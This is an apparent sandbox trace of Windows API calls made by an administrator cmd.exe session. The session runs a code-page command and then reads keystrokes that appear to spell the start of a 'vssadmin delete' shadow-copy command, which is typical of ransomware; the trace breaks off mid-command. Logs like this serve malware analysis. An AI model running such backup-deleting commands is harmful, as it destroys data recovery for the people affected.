Flags=0x0, MemoryPointer=0x1990d366e00) returned 0x7e [0160.286] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0160.287] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x8fb4efed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fb4efed40) returned 0xffffffffffffffff [0160.287] GetLastError () returned 0x2 [0160.287] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0160.287] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x8fb4efed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fb4efed40) returned 0xffffffffffffffff [0160.615] GetLastError () returned 0x2 [0160.615] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0160.615] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x8fb4efed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fb4efed40) returned 0x1990d366e90 [0160.615] GetProcessHeap () returned 0x1990d360000 [0160.615] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x0, Size=0x28) returned 0x1990d361890 [0160.615] FindClose (in: hFindFile=0x1990d366e90 | out: hFindFile=0x1990d366e90) returned 1 [0160.615] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x8fb4efed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fb4efed40) returned 0x1990d366e90 [0160.615] GetProcessHeap () returned 0x1990d360000 [0160.615] RtlReAllocateHeap (Heap=0x1990d360000, Flags=0x0, Ptr=0x1990d361890, Size=0x8) returned 0x1990d361890 [0160.615] FindClose (in: hFindFile=0x1990d366e90 | out: hFindFile=0x1990d366e90) returned 1 [0160.615] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0160.615] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0160.615] ??_V@YAXPEAX@Z () returned 0x1 [0160.615] GetConsoleTitleW (in: lpConsoleTitle=0x8fb4eff2c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0161.282] GetProcessHeap () returned 0x1990d360000 [0161.282] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x21c) returned 0x1990d379200 [0161.282] GetConsoleTitleW (in: lpConsoleTitle=0x1990d379210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0161.552] GetProcessHeap () returned 0x1990d360000 [0161.552] RtlReAllocateHeap (Heap=0x1990d360000, Flags=0x0, Ptr=0x1990d379200, Size=0xaa) returned 0x1990d379200 [0161.552] GetProcessHeap () returned 0x1990d360000 [0161.553] RtlSizeHeap (HeapHandle=0x1990d360000, Flags=0x0, MemoryPointer=0x1990d379200) returned 0xaa [0161.553] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0161.951] GetProcessHeap () returned 0x1990d360000 [0161.951] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d379200) returned 1 [0161.951] InitializeProcThreadAttributeList (in: lpAttributeList=0x8fb4eff1e0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8fb4eff0d0 | out: lpAttributeList=0x8fb4eff1e0, lpSize=0x8fb4eff0d0) returned 1 [0161.951] UpdateProcThreadAttribute (in: lpAttributeList=0x8fb4eff1e0, dwFlags=0x0, Attribute=0x60001, lpValue=0x8fb4eff0bc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8fb4eff1e0, lpPreviousValue=0x0) returned 1 [0161.951] GetStartupInfoW (in: lpStartupInfo=0x8fb4eff170 | out: lpStartupInfo=0x8fb4eff170*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0161.951] GetProcessHeap () returned 0x1990d360000 [0161.951] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x20) returned 0x1990d366e90 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0161.951] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0161.952] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0161.952] GetProcessHeap () returned 0x1990d360000 [0161.952] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d366e90) returned 1 [0161.952] GetProcessHeap () returned 0x1990d360000 [0161.952] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x12) returned 0x1990d366e90 [0161.952] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.952] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0161.952] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.952] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0161.952] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x8fb4eff100*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8fb4eff0d8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x8fb4eff0d8*(hProcess=0x98, hThread=0x94, dwProcessId=0xf8c, dwThreadId=0xfac)) returned 1 [0162.517] CloseHandle (hObject=0x94) returned 1 [0162.517] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0162.517] GetProcessHeap () returned 0x1990d360000 [0162.517] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d368500) returned 1 [0162.517] GetEnvironmentStringsW () returned 0x1990d3684c0* [0162.517] GetProcessHeap () returned 0x1990d360000 [0162.517] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xacc) returned 0x1990d379520 [0162.517] FreeEnvironmentStringsA (penv="=") returned 1 [0162.518] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0162.518] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0162.518] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x8fb4efe5d8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x8fb4efe5d8, ReturnLength=0x0) returned 0x0 [0162.518] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x8fae1c000, lpBuffer=0x8fb4efe610, nSize=0x7a0, lpNumberOfBytesRead=0x8fb4efe5d0 | out: lpBuffer=0x8fb4efe610*, lpNumberOfBytesRead=0x8fb4efe5d0*=0x7a0) returned 1 [0162.724] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0170.798] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x8fb4eff058 | out: lpExitCode=0x8fb4eff058*=0x0) returned 1 [0170.798] CloseHandle (hObject=0x98) returned 1 [0170.798] _vsnwprintf (in: _Buffer=0x8fb4eff228, _BufferCount=0x13, _Format="%08X", _ArgList=0x8fb4eff068 | out: _Buffer="00000000") returned 8 [0170.798] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0170.798] GetProcessHeap () returned 0x1990d360000 [0170.798] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d379520) returned 1 [0170.799] GetEnvironmentStringsW () returned 0x1990d379520* [0170.799] GetProcessHeap () returned 0x1990d360000 [0170.799] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xaf2) returned 0x1990d37a020 [0170.799] FreeEnvironmentStringsA (penv="=") returned 1 [0170.799] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0170.799] GetProcessHeap () returned 0x1990d360000 [0170.799] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d37a020) returned 1 [0170.799] GetEnvironmentStringsW () returned 0x1990d379520* [0170.799] GetProcessHeap () returned 0x1990d360000 [0170.799] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xaf2) returned 0x1990d37a020 [0170.799] FreeEnvironmentStringsA (penv="=") returned 1 [0170.799] GetProcessHeap () returned 0x1990d360000 [0170.799] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d366e90) returned 1 [0170.799] DeleteProcThreadAttributeList (in: lpAttributeList=0x8fb4eff1e0 | out: lpAttributeList=0x8fb4eff1e0) [0170.799] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0170.801] ??_V@YAXPEAX@Z () returned 0x1 [0170.801] _get_osfhandle (_FileHandle=1) returned 0x254 [0170.801] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0170.801] _get_osfhandle (_FileHandle=1) returned 0x254 [0170.801] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7cb5cfc08 | out: lpMode=0x7ff7cb5cfc08) returned 0 [0170.801] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.801] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7cb5cfc0c | out: lpMode=0x7ff7cb5cfc0c) returned 0 [0170.801] GetConsoleOutputCP () returned 0x4e3 [0170.801] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7cb5cfbb0 | out: lpCPInfo=0x7ff7cb5cfbb0) returned 1 [0170.801] SetThreadUILanguage (LangId=0x0) returned 0x409 [0170.801] GetProcessHeap () returned 0x1990d360000 [0170.801] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d366e00) returned 1 [0170.801] GetProcessHeap () returned 0x1990d360000 [0170.801] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d379030) returned 1 [0170.801] GetProcessHeap () returned 0x1990d360000 [0170.801] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d366c30) returned 1 [0170.801] GetProcessHeap () returned 0x1990d360000 [0170.801] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d378fd0) returned 1 [0170.802] GetProcessHeap () returned 0x1990d360000 [0170.802] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d3683e0) returned 1 [0170.802] GetProcessHeap () returned 0x1990d360000 [0170.802] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d368fe0) returned 1 [0170.802] GetProcessHeap () returned 0x1990d360000 [0170.802] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d361850) returned 1 [0170.802] GetProcessHeap () returned 0x1990d360000 [0170.802] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d366a80) returned 1 [0170.802] GetProcessHeap () returned 0x1990d360000 [0170.802] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d368320) returned 1 [0170.802] _vsnwprintf (in: _Buffer=0x7ff7cb5d7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8fb4eff608 | out: _Buffer="\r\n") returned 2 [0170.802] _get_osfhandle (_FileHandle=1) returned 0x254 [0170.802] GetFileType (hFile=0x254) returned 0x3 [0170.802] _get_osfhandle (_FileHandle=1) returned 0x254 [0170.802] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0170.802] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8fb4eff5d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff5d8*=0x2, lpOverlapped=0x0) returned 1 [0170.802] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0170.802] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1990d460080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0170.802] _vsnwprintf (in: _Buffer=0x1990d470060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x8fb4eff618 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0170.802] _vsnwprintf (in: _Buffer=0x1990d47008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x8fb4eff618 | out: _Buffer=">") returned 1 [0170.802] _get_osfhandle (_FileHandle=1) returned 0x254 [0170.802] GetFileType (hFile=0x254) returned 0x3 [0170.802] _get_osfhandle (_FileHandle=1) returned 0x254 [0170.802] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0170.802] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x8fb4eff608, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff608*=0x18, lpOverlapped=0x0) returned 1 [0170.802] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.802] GetFileType (hFile=0x248) returned 0x3 [0170.802] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.802] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.803] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0170.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.803] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0170.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.803] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0170.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.803] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0170.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.803] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0170.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.803] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0170.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.804] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0170.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.804] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0170.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.804] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0170.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.804] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0170.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.804] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0170.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.804] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0170.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0170.804] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0170.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0170.805] 